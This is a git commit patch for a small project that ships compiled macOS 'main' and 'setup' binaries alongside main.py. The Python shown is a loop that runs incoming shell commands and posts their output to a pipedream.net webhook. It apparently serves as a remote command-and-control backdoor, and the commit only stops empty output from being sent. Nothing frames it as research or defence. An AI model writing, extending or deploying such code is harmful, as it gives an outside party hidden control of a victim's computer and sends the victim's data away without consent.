From 3dc7e6962f03eaaf0affe4937af44fb1f912d0f0 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Tue, 15 Aug 2023 20:41:48 +0800 Subject: updated --- dist/main | Bin 6871344 -> 6871376 bytes dist/main.app/Contents/MacOS/main | Bin 6871344 -> 6871376 bytes dist/setup | Bin 4299264 -> 4299264 bytes dist/setup.app/Contents/MacOS/setup | Bin 4299264 -> 4299264 bytes main.py | 15 ++++++++------- 5 files changed, 8 insertions(+), 7 deletions(-) diff --git a/dist/main b/dist/main index 53a070c..78c5623 100755 Binary files a/dist/main and b/dist/main differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index f597c3c..5c0dc29 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup b/dist/setup index b20c5e7..5e95115 100755 Binary files a/dist/setup and b/dist/setup differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index a7c7dfd..b0a9ac7 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/main.py b/main.py index 8444811..c5eef80 100644 --- a/main.py +++ b/main.py @@ -25,13 +25,14 @@ while True: if old_command != command: try: cmdout = system(command, shell=True) - try: - post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) - except KeyboardInterrupt: - continue - except: - print("Failed to sent output") - continue + if cmdout != "": + try: + post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) + except KeyboardInterrupt: + continue + except: + print("Failed to sent output") + continue old_command = command continue except: -- cgit v1.2.3